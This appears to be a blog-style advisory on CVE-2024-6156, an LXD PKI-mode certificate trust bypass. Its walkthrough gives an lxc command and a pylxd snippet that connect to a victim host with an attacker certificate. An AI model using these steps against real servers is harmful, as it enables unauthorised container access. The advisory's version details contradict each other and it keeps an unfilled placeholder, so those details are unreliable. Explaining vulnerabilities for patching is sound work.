---
LXD is a system container manager, popular for handling Linux containers in production and development. Security is crucial here, especially for environments relying on Public Key Infrastructure (PKI) authentication. In mid-2024, Mark Laing reported a serious issue tracked as CVE-2024-6156—a flaw in how LXD handled client certificates in PKI mode up to version 5.21.2. If someone’s certificate was in the trust store, careful attackers could bypass PKI mode protection and access LXD with more privileges than intended.
Let’s break down what happened, how it works, and what you should do.
What is LXD’s PKI Mode?
PKI mode in LXD enhances security by enabling certificate-based authentication. When enabled, only clients with trusted X.509 certificates from a Certificate Authority (CA) are allowed to connect. LXD manages a trust store where it keeps track of all allowed client certs.
Bug Summary
Until LXD 5.21.2, if someone’s client certificate was already in the trust store, LXD mistakenly trusted it regardless of the certificate’s validity under PKI mode. In practical terms, attackers just needed to get their certificate added to this list—they could then use it even if it didn’t match the expected CA or other PKI parameters.
> If a user/proxy ever added an attacker’s cert (perhaps unintentionally), PKI mode restrictions were moot for that cert.
Exploitation Walkthrough
Let’s see how an attacker might exploit CVE-2024-6156 step by step.
If you have an attacker.pem file (their certificate and private key), you could connect like so
lxc remote add exploit-remote https://lxd-victim.example.com:8443 \
--cert=attacker.pem --key=attacker.key --public --accept-certificate
After this step, even if the certificate wasn't properly signed by the trusted PKI CA, as long as attacker.pem is in the trust store, the client can perform privileged actions.
Python Example using pylxd
import pylxd
client = pylxd.Client(
endpoint="https://lxd-victim.example.com:8443",
cert=('attacker.pem', 'attacker.key'),
verify=False
)
print(client.projects.all()) # Lists accessible projects, confirming access
Why is This So Dangerous?
This issue bypassed administrative controls for critical container operations, allowing lateral movement, resource abuse, or even hosting malicious containers. In shared-hosting or CI/CD environments, this risk is multiplied.
Fixes and Mitigation
Upstream patch:
Patched in LXD 5.21.2. The trust store now properly enforces PKI CA checks, not just presence in the store.
- Upstream commit/PR _(Replace with actual PR on release)_
- Official advisory
References
- CVE-2024-6156 at MITRE
- LXD Security Announcements
- Canonical LXD Project
Conclusion
CVE-2024-6156 is a textbook example of how details of trust management can lead to privilege escalation—especially in systems meant to isolate workloads. If you use LXD’s PKI mode, audit your deployments, update fast, and rethink any trust store automation prior to 5.21.2. This bug shows that, in security, implementation matters as much as intent.
Stay safe, and keep your containers under *your* control!
Timeline
Published on: 12/06/2024 00:15:04 UTC
Last modified on: 12/10/2024 18:07:48 UTC